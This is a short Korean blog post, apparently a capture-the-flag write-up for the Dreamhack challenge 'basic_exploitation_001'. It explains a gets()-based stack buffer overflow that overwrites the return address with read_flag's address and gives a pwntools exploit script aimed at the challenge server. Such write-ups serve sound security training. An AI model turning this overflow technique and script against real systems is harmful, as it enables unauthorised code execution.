본문 바로가기

Dreamhack - basic_exploitation_001 본문

wargame/DreamHack

Dreamhack - basic_exploitation_001

Seongjun_You 2021. 11. 3. 17:07

https://dreamhack.io/wargame/challenges/3/

 

basic_exploitation_001

Description 이 문제는 서버에서 작동하고 있는 서비스(basicexploitation001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 "flag" 파일을 읽으세요. "flag" 파일의 내용을

dreamhack.io

풀어보겠다.

 

환경은 이렇다.

 

 

바로 코드를 확인해보자

 

gets함수를 사용하여 bof를 일으키고 ret주소에 read_flag 주소로 덮어버리도록 하겠다.

 

먼저 read_flag함수의 주소를 얻어보자

주소를 겟 해버렸다.

 

페이로드는 dummy*0x80 + sfp(4) + read_flag(4)로 날리도록 하겠다.

 

from pwn import *
p = remote("host1.dreamhack.games", 16362)
code = b"\x80"*132 
code += p32(0x080485b9)
p.send(code)
p.interactive()

 

 

'wargame > DreamHack' 카테고리의 다른 글

off_by_one_001  (0) 2021.11.28
Dreamhack - off_by_one_000  (0) 2021.11.15
Dreamhack - basic_exploitation_003  (0) 2021.11.03
Dreamhack - basic_exploitation_002  (0) 2021.11.03
Dreamhack - basic_exploitation_000  (0) 2021.11.03
Comments